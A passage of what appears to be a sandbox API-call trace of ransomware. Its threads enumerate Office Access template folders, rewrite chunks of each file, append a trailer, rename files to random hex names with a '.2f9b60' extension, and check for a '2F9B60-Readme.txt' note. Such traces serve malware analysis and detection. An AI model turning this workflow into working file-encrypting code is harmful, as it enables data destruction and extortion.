_Dest=0x431ad6c8, _Format="%c%c" | out: _Dest="76") returned 2 [0218.819] sprintf (in: _Dest=0x431ad6ca, _Format="%c%c" | out: _Dest="e7") returned 2 [0218.819] sprintf (in: _Dest=0x431ad6cc, _Format="%c%c" | out: _Dest="4f") returned 2 [0218.819] sprintf (in: _Dest=0x431ad6ce, _Format="%c%c" | out: _Dest="b9") returned 2 [0218.819] sprintf (in: _Dest=0x431ad6d0, _Format="%c%c" | out: _Dest="99") returned 2 [0218.819] sprintf (in: _Dest=0x431ad6d2, _Format="%c%c" | out: _Dest="14") returned 2 [0218.819] RtlInitAnsiString (in: DestinationString=0x2295fac8, SourceString="81d11c43a368ea8fc6434d921a10719fd17d958576e74fb99914" | out: DestinationString="81d11c43a368ea8fc6434d921a10719fd17d958576e74fb99914") [0218.819] RtlAnsiStringToUnicodeString (in: DestinationString=0x2295fa98, SourceString="81d11c43a368ea8fc6434d921a10719fd17d958576e74fb99914", AllocateDestinationString=1 | out: DestinationString="81d11c43a368ea8fc6434d921a10719fd17d958576e74fb99914") returned 0x0 [0218.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b79e4f0 [0218.820] wcscat (in: _Dest=0x4310a140, _Source="81d11c43a368e" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\81d11c43a368e") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\81d11c43a368e" [0218.820] wcscat (in: _Dest=0x4310a140, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\81d11c43a368e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\81d11c43a368e.2f9b60" [0218.820] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\81d11c43a368e.2f9b60", NtPathName=0x2295fa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\81d11c43a368e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x107900 [0238.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107900) returned 1 [0238.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430772e0) returned 1 [0238.049] NtQueryInformationFile (in: FileHandle=0x10cc, IoStatusBlock=0x2295fad8, FileInformation=0x2295fae8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2295fad8, FileInformation=0x2295fae8) returned 0x0 [0238.050] NtSetInformationFile (FileHandle=0x10cc, IoStatusBlock=0x2295fad8, FileInformation=0x2295fae8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0240.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310a140) returned 1 [0240.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e4f0) returned 1 [0240.333] FlushFileBuffers (hFile=0x10cc) returned 1 [0240.629] CloseHandle (hObject=0x10cc) returned 1 [0242.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4319c900 [0242.623] wcscpy (in: _Dest=0x4319c900, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0242.623] wcscat (in: _Dest=0x4319c900, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt" [0242.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\2f9b60-readme.txt")) returned 0x20 [0243.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4319c900) returned 1 [0243.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205daf0) returned 1 Thread: id = 1622 os_tid = 0x1ae0 [0125.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Events.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\events.accdt")) returned 0x20 [0125.385] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Events.accdt", dwFileAttributes=0x20) returned 1 [0129.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Events.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\events.accdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1050 [0129.094] GetFileSizeEx (in: hFile=0x1050, lpFileSize=0x22a3fc20 | out: lpFileSize=0x22a3fc20*=193199) returned 1 [0129.094] SetFilePointerEx (in: hFile=0x1050, liDistanceToMove=0x2f2ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.094] ReadFile (in: hFile=0x1050, lpBuffer=0x22a3fba0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x22a3fbe8, lpOverlapped=0x0 | out: lpBuffer=0x22a3fba0*, lpNumberOfBytesRead=0x22a3fbe8*=0x4, lpOverlapped=0x0) returned 1 [0129.096] SetFilePointerEx (in: hFile=0x1050, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced77a0 [0129.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e00 [0129.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e90 [0129.097] NtQuerySystemTime (in: CurrentTime=0x22a3fae0 | out: CurrentTime=0x22a3fae0*=132462177343546000) returned 0x0 [0129.097] RtlRandomEx (in: Seed=0x22a3fad0 | out: Seed=0x22a3fad0) returned 0x4fefe043 [0129.097] RtlRandomEx (in: Seed=0x22a3fad0 | out: Seed=0x22a3fad0) returned 0x334b48b5 [0129.097] RtlRandomEx (in: Seed=0x22a3fad0 | out: Seed=0x22a3fad0) returned 0x559765e0 [0129.097] RtlRandomEx (in: Seed=0x22a3fad0 | out: Seed=0x22a3fad0) returned 0x1a16cb55 [0129.097] RtlRandomEx (in: Seed=0x22a3fad0 | out: Seed=0x22a3fad0) returned 0x2eebf3a5 [0129.097] RtlRandomEx (in: Seed=0x22a3fad0 | out: Seed=0x22a3fad0) returned 0x44d14867 [0129.097] RtlRandomEx (in: Seed=0x22a3fad0 | out: Seed=0x22a3fad0) returned 0x5d436a48 [0129.097] RtlRandomEx (in: Seed=0x22a3fad0 | out: Seed=0x22a3fad0) returned 0x4c742e33 [0129.097] RtlRandomEx (in: Seed=0x22a3fad0 | out: Seed=0x22a3fad0) returned 0x7b3714f4 [0129.097] RtlRandomEx (in: Seed=0x22a3fad0 | out: Seed=0x22a3fad0) returned 0x78155798 [0129.097] RtlRandomEx (in: Seed=0x22a3fad0 | out: Seed=0x22a3fad0) returned 0x4f3d1be3 [0129.097] RtlRandomEx (in: Seed=0x22a3fad0 | out: Seed=0x22a3fad0) returned 0x7108a00c [0129.097] RtlRandomEx (in: Seed=0x22a3fad0 | out: Seed=0x22a3fad0) returned 0x5f7595e5 [0129.097] RtlRandomEx (in: Seed=0x22a3fad0 | out: Seed=0x22a3fad0) returned 0x1945e440 [0129.097] RtlRandomEx (in: Seed=0x22a3fad0 | out: Seed=0x22a3fad0) returned 0x6a2f6ca3 [0129.097] RtlRandomEx (in: Seed=0x22a3fad0 | out: Seed=0x22a3fad0) returned 0x32184a0e [0129.097] RtlRandomEx (in: Seed=0x22a3fad0 | out: Seed=0x22a3fad0) returned 0x5355de23 [0129.097] RtlRandomEx (in: Seed=0x22a3fad0 | out: Seed=0x22a3fad0) returned 0x6f50ea5b [0129.098] RtlRandomEx (in: Seed=0x22a3fad0 | out: Seed=0x22a3fad0) returned 0x57d9ff1c [0129.098] RtlRandomEx (in: Seed=0x22a3fad0 | out: Seed=0x22a3fad0) returned 0x5283ac93 [0129.098] RtlRandomEx (in: Seed=0x22a3fad0 | out: Seed=0x22a3fad0) returned 0x1aa74d [0129.098] RtlRandomEx (in: Seed=0x22a3fad0 | out: Seed=0x22a3fad0) returned 0x77f34ee6 [0129.098] RtlRandomEx (in: Seed=0x22a3fad0 | out: Seed=0x22a3fad0) returned 0x66bdbe32 [0129.098] RtlRandomEx (in: Seed=0x22a3fad0 | out: Seed=0x22a3fad0) returned 0x53ebd094 [0129.098] RtlRandomEx (in: Seed=0x22a3fad0 | out: Seed=0x22a3fad0) returned 0x1f5f4fdc [0129.098] RtlRandomEx (in: Seed=0x22a3fad0 | out: Seed=0x22a3fad0) returned 0x6c659c13 [0129.098] RtlRandomEx (in: Seed=0x22a3fad0 | out: Seed=0x22a3fad0) returned 0x57dc5e99 [0129.098] RtlRandomEx (in: Seed=0x22a3fad0 | out: Seed=0x22a3fad0) returned 0x5620868a [0129.098] RtlRandomEx (in: Seed=0x22a3fad0 | out: Seed=0x22a3fad0) returned 0x2f78ff5e [0129.098] RtlRandomEx (in: Seed=0x22a3fad0 | out: Seed=0x22a3fad0) returned 0x1f1fe77d [0129.098] RtlRandomEx (in: Seed=0x22a3fad0 | out: Seed=0x22a3fad0) returned 0x5ce2aa0f [0129.098] RtlRandomEx (in: Seed=0x22a3fad0 | out: Seed=0x22a3fad0) returned 0x127942f1 [0129.112] SetFilePointerEx (in: hFile=0x1050, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.113] ReadFile (in: hFile=0x1050, lpBuffer=0x41f13cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22a3fb40, lpOverlapped=0x0 | out: lpBuffer=0x41f13cc0*, lpNumberOfBytesRead=0x22a3fb40*=0x3c00, lpOverlapped=0x0) returned 1 [0129.114] SetFilePointerEx (in: hFile=0x1050, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0129.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0129.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced77a0 [0129.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced77a0) returned 1 [0129.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f39560 [0129.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced77a0 [0129.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e90 [0129.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264e90) returned 1 [0129.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0129.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0129.115] WriteFile (hFile=0x1050, lpBuffer=0x41f39560, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22a3fb40, lpOverlapped=0x0) [0179.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f39560) returned 1 [0179.976] SetFilePointerEx (in: hFile=0x1050, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.976] ReadFile (in: hFile=0x1050, lpBuffer=0x41f13cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22a3fb40, lpOverlapped=0x0 | out: lpBuffer=0x41f13cc0*, lpNumberOfBytesRead=0x22a3fb40*=0x3c00, lpOverlapped=0x0) returned 1 [0182.079] SetFilePointerEx (in: hFile=0x1050, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f060 [0182.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f060) returned 1 [0182.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423885a0 [0182.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f060 [0182.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f090 [0182.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f090) returned 1 [0182.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.082] WriteFile (in: hFile=0x1050, lpBuffer=0x423885a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22a3fb40, lpOverlapped=0x0 | out: lpBuffer=0x423885a0*, lpNumberOfBytesWritten=0x22a3fb40*=0x3c00, lpOverlapped=0x0) returned 1 [0198.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423885a0) returned 1 [0198.776] SetFilePointerEx (in: hFile=0x1050, liDistanceToMove=0x2b6af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.776] ReadFile (in: hFile=0x1050, lpBuffer=0x41f13cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22a3fb40, lpOverlapped=0x0 | out: lpBuffer=0x41f13cc0*, lpNumberOfBytesRead=0x22a3fb40*=0x3c00, lpOverlapped=0x0) returned 1 [0199.134] SetFilePointerEx (in: hFile=0x1050, liDistanceToMove=0x2b6af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0199.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0199.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c3a0 [0199.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313c3a0) returned 1 [0199.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423b2110 [0199.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c3a0 [0199.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c3d0 [0199.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313c3d0) returned 1 [0199.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0199.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0199.137] WriteFile (in: hFile=0x1050, lpBuffer=0x423b2110*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22a3fb40, lpOverlapped=0x0 | out: lpBuffer=0x423b2110*, lpNumberOfBytesWritten=0x22a3fb40*=0x3c00, lpOverlapped=0x0) returned 1 [0214.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423b2110) returned 1 [0214.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43104b10 [0214.839] SetFilePointerEx (in: hFile=0x1050, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.839] WriteFile (in: hFile=0x1050, lpBuffer=0x431f4f60*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x22a3fbf0, lpOverlapped=0x0 | out: lpBuffer=0x431f4f60*, lpNumberOfBytesWritten=0x22a3fbf0*=0x14a, lpOverlapped=0x0) returned 1 [0218.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bd60 [0218.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79de70 [0218.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e60 [0218.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264e60) returned 1 [0218.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0218.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e60 [0218.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267f50 [0218.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267f50) returned 1 [0218.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79de70) returned 1 [0218.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bd60) returned 1 [0218.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ad6a0 [0218.827] sprintf (in: _Dest=0x431ad6a0, _Format="%c%c" | out: _Dest="ea") returned 2 [0218.827] sprintf (in: _Dest=0x431ad6a2, _Format="%c%c" | out: _Dest="bc") returned 2 [0218.827] sprintf (in: _Dest=0x431ad6a4, _Format="%c%c" | out: _Dest="54") returned 2 [0218.827] sprintf (in: _Dest=0x431ad6a6, _Format="%c%c" | out: _Dest="3e") returned 2 [0218.827] sprintf (in: _Dest=0x431ad6a8, _Format="%c%c" | out: _Dest="6f") returned 2 [0218.827] sprintf (in: _Dest=0x431ad6aa, _Format="%c%c" | out: _Dest="13") returned 2 [0218.827] sprintf (in: _Dest=0x431ad6ac, _Format="%c%c" | out: _Dest="84") returned 2 [0218.827] sprintf (in: _Dest=0x431ad6ae, _Format="%c%c" | out: _Dest="fa") returned 2 [0218.827] sprintf (in: _Dest=0x431ad6b0, _Format="%c%c" | out: _Dest="c7") returned 2 [0218.827] sprintf (in: _Dest=0x431ad6b2, _Format="%c%c" | out: _Dest="9b") returned 2 [0218.828] sprintf (in: _Dest=0x431ad6b4, _Format="%c%c" | out: _Dest="e7") returned 2 [0218.828] sprintf (in: _Dest=0x431ad6b6, _Format="%c%c" | out: _Dest="ad") returned 2 [0218.828] sprintf (in: _Dest=0x431ad6b8, _Format="%c%c" | out: _Dest="b4") returned 2 [0218.828] sprintf (in: _Dest=0x431ad6ba, _Format="%c%c" | out: _Dest="24") returned 2 [0218.828] sprintf (in: _Dest=0x431ad6bc, _Format="%c%c" | out: _Dest="08") returned 2 [0218.828] sprintf (in: _Dest=0x431ad6be, _Format="%c%c" | out: _Dest="6c") returned 2 [0218.828] sprintf (in: _Dest=0x431ad6c0, _Format="%c%c" | out: _Dest="54") returned 2 [0218.828] sprintf (in: _Dest=0x431ad6c2, _Format="%c%c" | out: _Dest="47") returned 2 [0218.828] sprintf (in: _Dest=0x431ad6c4, _Format="%c%c" | out: _Dest="22") returned 2 [0218.828] sprintf (in: _Dest=0x431ad6c6, _Format="%c%c" | out: _Dest="4b") returned 2 [0218.828] sprintf (in: _Dest=0x431ad6c8, _Format="%c%c" | out: _Dest="6c") returned 2 [0218.828] sprintf (in: _Dest=0x431ad6ca, _Format="%c%c" | out: _Dest="9d") returned 2 [0218.828] sprintf (in: _Dest=0x431ad6cc, _Format="%c%c" | out: _Dest="39") returned 2 [0218.828] sprintf (in: _Dest=0x431ad6ce, _Format="%c%c" | out: _Dest="b2") returned 2 [0218.828] RtlInitAnsiString (in: DestinationString=0x22a3fc68, SourceString="eabc543e6f1384fac79be7adb424086c5447224b6c9d39b2" | out: DestinationString="eabc543e6f1384fac79be7adb424086c5447224b6c9d39b2") [0218.828] RtlAnsiStringToUnicodeString (in: DestinationString=0x22a3fc38, SourceString="eabc543e6f1384fac79be7adb424086c5447224b6c9d39b2", AllocateDestinationString=1 | out: DestinationString="eabc543e6f1384fac79be7adb424086c5447224b6c9d39b2") returned 0x0 [0218.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x43104a30 [0218.829] wcscat (in: _Dest=0x4318bbc0, _Source="eabc543e6f13" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\eabc543e6f13") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\eabc543e6f13" [0218.829] wcscat (in: _Dest=0x4318bbc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\eabc543e6f13.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\eabc543e6f13.2f9b60" [0218.829] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\eabc543e6f13.2f9b60", NtPathName=0x22a3fc10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\eabc543e6f13.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x431edb60 [0238.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431edb60) returned 1 [0238.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43077510) returned 1 [0238.097] NtQueryInformationFile (in: FileHandle=0x1050, IoStatusBlock=0x22a3fc78, FileInformation=0x22a3fc88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x22a3fc78, FileInformation=0x22a3fc88) returned 0x0 [0238.097] NtSetInformationFile (FileHandle=0x1050, IoStatusBlock=0x22a3fc78, FileInformation=0x22a3fc88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0240.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4318bbc0) returned 1 [0240.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43104a30) returned 1 [0240.338] FlushFileBuffers (hFile=0x1050) returned 1 [0240.630] CloseHandle (hObject=0x1050) returned 1 [0242.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4319e3e0 [0242.624] wcscpy (in: _Dest=0x4319e3e0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0242.624] wcscat (in: _Dest=0x4319e3e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt" [0242.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\2f9b60-readme.txt")) returned 0x20 [0243.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4319e3e0) returned 1 [0243.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205df50) returned 1 Thread: id = 1623 os_tid = 0x1adc [0125.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b85bac0 [0125.387] wcscpy (in: _Dest=0x1b85bac0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType" [0125.387] wcscat (in: _Dest=0x1b85bac0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\" [0125.387] wcscat (in: _Dest=0x1b85bac0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\*") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\*" [0125.387] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98d00 [0125.387] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\*", lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14f56c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c0d0 [0125.389] wcscmp (_String1=".", _String2=".") returned 0 [0125.389] FindNextFileW (in: hFindFile=0x1cd9c0d0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14f56c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.389] wcscmp (_String1="..", _String2=".") returned 1 [0125.389] wcscmp (_String1="..", _String2="..") returned 0 [0125.389] FindNextFileW (in: hFindFile=0x1cd9c0d0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2224d200, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f30ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2224d200, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1141, dwReserved0=0x0, dwReserved1=0x0, cFileName="Address.accft", cAlternateFileName="ADDRES~1.ACC")) returned 1 [0125.389] wcscmp (_String1="Address.accft", _String2=".") returned 1 [0125.389] wcscmp (_String1="Address.accft", _String2="..") returned 1 [0125.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x202acc60 [0125.390] wcscpy (in: _Dest=0x202acc60, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType" [0125.390] wcscat (in: _Dest=0x202acc60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\" [0125.390] wcscat (in: _Dest=0x202acc60, _Source="Address.accft" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Address.accft") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Address.accft" [0126.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202acc60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b0 [0126.968] FindNextFileW (in: hFindFile=0x1cd9c0d0, lpFindFileData=0x1cd98d00 | out: lpFindFileData=0x1cd98d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x294be000, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f30ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x294be000, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x110c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Category.accft", 